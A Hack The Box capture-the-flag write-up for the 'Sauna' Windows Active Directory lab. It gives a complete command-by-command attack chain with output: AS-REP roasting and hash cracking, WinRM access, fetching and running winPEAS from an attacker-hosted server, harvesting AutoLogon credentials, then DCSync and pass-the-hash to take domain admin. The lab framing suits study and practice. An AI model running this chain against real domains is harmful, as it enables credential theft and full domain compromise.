https://app.hackthebox.com/machines/Sauna
Recon
$ nmap -sSV -p- 10.129.36.154
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-30 20:51 -0400
Nmap scan report for 10.129.36.154
Host is up (0.041s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-31 07:53:49Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 162.94 seconds
EGOTISTICAL-BANK.LOCAL, nice. Let's add taht to our host file.
ldap
We have ldap ports available, anonymous access shows it works, but nothing is returned for users, groups or computers.
$ nxc ldap sauna.egotistical-bank.local --dns-server 10.129.36.154 -d egotistical-bank.local -u '' -p '' --computers
LDAP 10.129.36.154 389 SAUNA [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:egotistical-bank.local) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.36.154 389 SAUNA [+] egotistical-bank.local\:
LDAP 10.129.36.154 389 SAUNA [*] Total records returned: 0
http
The nmap scan reveals this is IIS. We land on a bank template, "We want all of your money and we're not afraid to ask!" All the pages show .html endings. No PHP or other backend headers. Attempting to submit the contact form returns a 405 - Method Not Allowed.
A gobuster dir scan with the big.txt wordlist finds Images, css, fonts, images directories, but directory browsing is not on. Nothing returned from my vhost scan for 110000.
There's an about.html with the names Fergus Smith, Shaun Coins, Hugo Bear, Bowie Taylor, Sophie Driver, Steven Kerb and the text, Meet the team. So many bank account managers but only one security manager. Sounds about right!
Using these names, we can use username-anarchy to quickly build a user list in user.txt to test.
$ /opt/username-anarchy/username-anarchy --input-file ./users.txt > usernames.txt
$ impacket-GetNPUsers -no-pass -usersfile usernames.txt EGOTISTICAL-BANK.LOCAL/
This returns a $krb5asrep$23 hash for fsmith. I saved this to asreproast.txt then used hashcat.
$ hashcat -m18200 asreproast.txt /usr/share/wordlists/rockyou.txt
...
[email protected]:1dd6c07...a24bb7:Thestrokes23
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: [email protected]:1dd6c07...a24bb7
...
Initial Access
With one set of credentials, we can perform additional enumeration to see what we can now access.
smb
$ smbclient -U 'fsmith%Thestrokes23' -L \\\\10.129.36.154
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
print$ Disk Printer Drivers
RICOH Aficio SP 8300DN PCL 6 Printer We cant print money
SYSVOL Disk Logon server share
We can see the print$ share and the Printer itself. We can also access some GptTemp.inf and Registry.pol files from SYSVOL.
ldap
$ nxc ldap sauna.egotistical-bank.local --dns-server 10.129.36.154 -d egotistical-bank.local -u 'fsmith' -p 'Thestrokes23' --users
This reveals HSmith, FSmith, svc_loanmgr and Administrator. The latter is the Domain Admin. FSmith and svc_loanmgr are in the Remote Management Users group.
winrm
Now that we know FSmith has remote acces, we can use this to connect via WinRM
$ evil-winrm -i 10.129.36.154 -u fsmith -p Thestrokes23
We spawn in C:\Users\FSmith\Documents. On FSmith's Desktop is user.txt, our first flag.
Let's see what further we can enumerate with winPEASexe. I have the binary hosted on my attackbox and serve it via python.
PS > $url = "http://10.10.16.119:8000/winPEASany_ofs.exe"
PS > iwr -Uri $url -OutFile "setup.exe"
PS > ./setup.exe log
PS > C:\Users\FSmith\Documents> download C:\\Users\\FSmith\\Documents\\out.txt /home/kali/Desktop/htb/sauna/winpeas.txt
Here, we find credentials for svc_loanmanager:Moneymakestheworldgoround! under the AutoLogon registry. It turns out this works for the svc_loanmgr account.
Lateral Movement
$ bloodyAD -H 10.129.36.154 -u svc_loanmgr -p Moneymakestheworldgoround! get bloodhound
$ bloodhound-start
In bloodhound, we see the svc_loanmgr account has GetChangesAll and GetChanges. The note in bloodhound states, With both GetChanges and GetChangesAll privileges in BloodHound, you may perform a dcsync attack to get the password hash of an arbitrary principal using mimikatz
Priv Esc
$ impacket-secretsdump -outputfile dcsync.txt -dc-ip 10.129.36.154 EGOTISTICAL-BANK.LOCAL/svc_loanmgr:"Moneymakestheworldgoround\!"@sauna
...
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
...
$ evil-winrm -i 10.129.36.154 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e
With that, we get the NT hash for the domain admin account and can perform a pass the hash attack to gain access.
Conclusion
A solid box! This box is rated for easy, but it definitely had me confused trying multiple forms of enumeration and various tools to ensure I wasn't missing something very simple.